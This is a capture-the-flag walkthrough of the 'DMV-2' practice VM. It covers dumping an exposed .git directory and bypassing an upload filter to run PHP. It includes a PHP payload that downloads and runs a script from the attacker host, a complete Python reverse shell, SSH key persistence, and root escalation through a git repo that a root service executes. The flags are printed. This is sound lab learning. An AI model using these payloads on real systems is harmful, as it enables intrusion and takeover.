DC919 CTF exercise night using "DMV-2" prebuilt VM image
SPOILER ALERT: This document is intended to be a walk-through, so if you want to do this CTF challenge honestly, close this page now.
The following is the result of a group effort during a CTF conf call. There were a bunch of people present on the call, and if they ask me to I'll happ ily list them here. We share lots of tricks during these calls, everyone contributes and we all come out smarter.
In this case the VMs have the following IPs:
Info gathered 192.168.57.9: nmap finds 22,80,4545 browser shows a weird youtube converter web form.
nmap -p- -A discovers a lot of crazy things.. :
Port 80 has Apache running, but also discovers /.git/ running http-git and even shows a remote?: ssh://developerdmv@127.0.0.1/home/developerdmv/site.git/
Port 4545 is super interesting and shows a telnet-in interface with some numbered options; when selecting the 1st option ("Main site"), we get a clear message from git saying it's doing something like "git fetch" or "git pull" from ssh://127.0.0.1/home/developerdmv/site. Neat.
The webui shown is a web form, and matches closely with DMV that was previously done from this series. The same exploit using backticks and ${IFS} does not seem to work here.
Using a tool like GitTools ("Dumper"), we can retrieve much of the source code from the http-git interface, which fails to let us plainly clone with HTTP 40x errors. Once we run dumper on the URL, we get a local clone in a weird state. I used "git status" and "git restore" to pull files back from a deleted state. Inspecting index.php indicates what the web form is doing, and the exploit was not immediately clear.
Ultimately you're able to upload nearly arbitrary files by manipulating the URL found in the yt_url parameter, the same way that was done in the previous DMV VM. However, we have no obvious arbitrary code/file execution vulnerability on hand. Closely examining the code, we can see that the files we upload get a uniqid() generated name, but retain their original extension. Uploading a simple php script containing a call to phpinfo() fails with HTTP 404, however. Something is semi-intelligently inspecting file contents/magic and rejecting php files. If we modify our phpinfo script to look like this, it works:
/**/ <?php phpinfo(); ?>
Not sure why, still, but this uploads and executes happily, giving us arbitrary code execution using php. Time to craft a super simple reverse shell and gain some real access:
/**/ <?php system("wget -O /tmp/exec.sh http://192.168.57.10:8001/exec.sh"); system("/bin/sh /tmp/exec.sh"); ?>
In this case, exec.sh is served from a SimpleHTTPServer and is a python reverse shell that is stolen from a cheat sheet, and looks like this:
#!/bin/sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.57.10",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Start up an nc listener:
nc -l -p 1234 -v
Make a call to http://192.168.57.9/tmp/downloads/5ee........php and the nc listener should have a reverse shell attached.
Once you have a reverse shell, you can either pick up the user.txt flag from /home/developerdmv/user.txt or begin the pivot to the developerdmv user:
flag{4e6ca045796244b1aadc36458dd48f3a}
Since www-data can somehow update from the git repo in ssh://127.0.0.1/home/developerdmv/site.git, we can look around and figure out why. There is an ssh keypair in www-data's $HOME (/var/www/.ssh/id_rsa*), so let's try using it:
ssh developerdmv@127.0.0.1
This gives a more-broken but still usable shell as developerdmv inside our reverse shell session. Let's pivot and get some real, repeatable ssh access with a pty for convenience:
cd ~developerdmv/.ssh
cat >>authorized_keys <<EOF
[paste ssh pubkey generated on kali VM]
EOF
Now we can ssh into developerdmv@192.168.57.9 from our kali VM, which is way more usable. From there, try the normal things looking for a privilege escalation and failing (sudo -l, setuid binaries, etc). Note, though, that there is an "admin.git" repository in our new $HOME. Remember how the tcp/4545 service had an option for the "admin site" ? These are likely connected (spoiler: they definitely are connected.) The admin.git directory is not an actual git clone, though, it is a raw repository. Let's make a clone of it:
cd
mkdir tmp
cd tmp
git clone /home/developerdmv/admin.git admin
cd admin
ls
...
At this point, we see a pair of '.go' source code files and a binary blob named 'admin'. Running file(1) on 'admin' reveals it to be a valid Linux ELF binary compiled for our platform.. but it isn't executable? Ok..? Looking into the go source (main.go), we can see that it's the source to our tcp/4545 admin/main site update interface. If you look at the actions it takes (...commands it runs!) when you choose each option, we see that one of them somehow has privileges to cd /root/admin and run systemctl restart dmvadmin. Probably runs as root...
Inspecting the dmvadmin.service unit with systemctl show dmvadmin | grep -i exec indicates that it's running a shell script: /etc/dmvservice.sh which does two things: chmod +x /root/admin/admin and ..then runs it! as root!
Everything indicates that we have commit and push access to this git repo we now have a clone of, which means we can replace the "admin" binary and the run the "admin site update" process via tcp/4545. We have some options: we can modify the go code to run our own commands as root, but we don't have a local golang environment and who knows what demons lurk in trying to rectify that. The much shorter option is to replace the "admin" file with a shell script that does any number of things. Favorite options include just reusing /tmp/exec.sh (the python reverse shell that we already uploaded) or adding developerdmv a NOPASSWD sudoers entry. The former is as simple as:
#!/bin/sh
/bin/sh /tmp/exec.sh
Restart the nc(1) listener from earlier so it's listening for a fresh connection, then in another terminal connect to tcp/4545 and run the admin site update. Tada, root reverse shell (without a utmp/wtmp entry, even, style points aren't worth anything, but they're fun?) Now we can easily pick off the root flag:
FLAG{a8ac60c0cfaf4617a7833c67e81d1512}
Fun challenge, need to identify what exactly is going on with the php "/**/" trickery.